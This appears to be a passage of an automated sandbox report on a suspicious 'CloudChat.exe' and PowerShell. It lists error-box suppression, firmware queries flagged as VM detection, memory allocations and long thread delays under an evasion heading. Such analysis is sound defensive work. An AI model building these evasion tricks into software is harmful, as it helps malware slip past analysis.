Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	System information queried: FirmwareTableInformation			Jump to behavior

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Memory allocated: A200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Memory allocated: A520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Memory allocated: A230000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599886	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599784	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599649	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599441	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599185	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599084	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598945	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598830	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598708	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598579	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598449	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598327	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598211	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597987	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597733	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597632	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597510	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597302	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597175	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597039	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596935	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596834	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596540	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596439	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596308	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596205	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596084	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595811	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595706	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595581	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595455	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595330	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595100	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594980	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594861	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594740	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594612	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594486	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594256	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594121	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
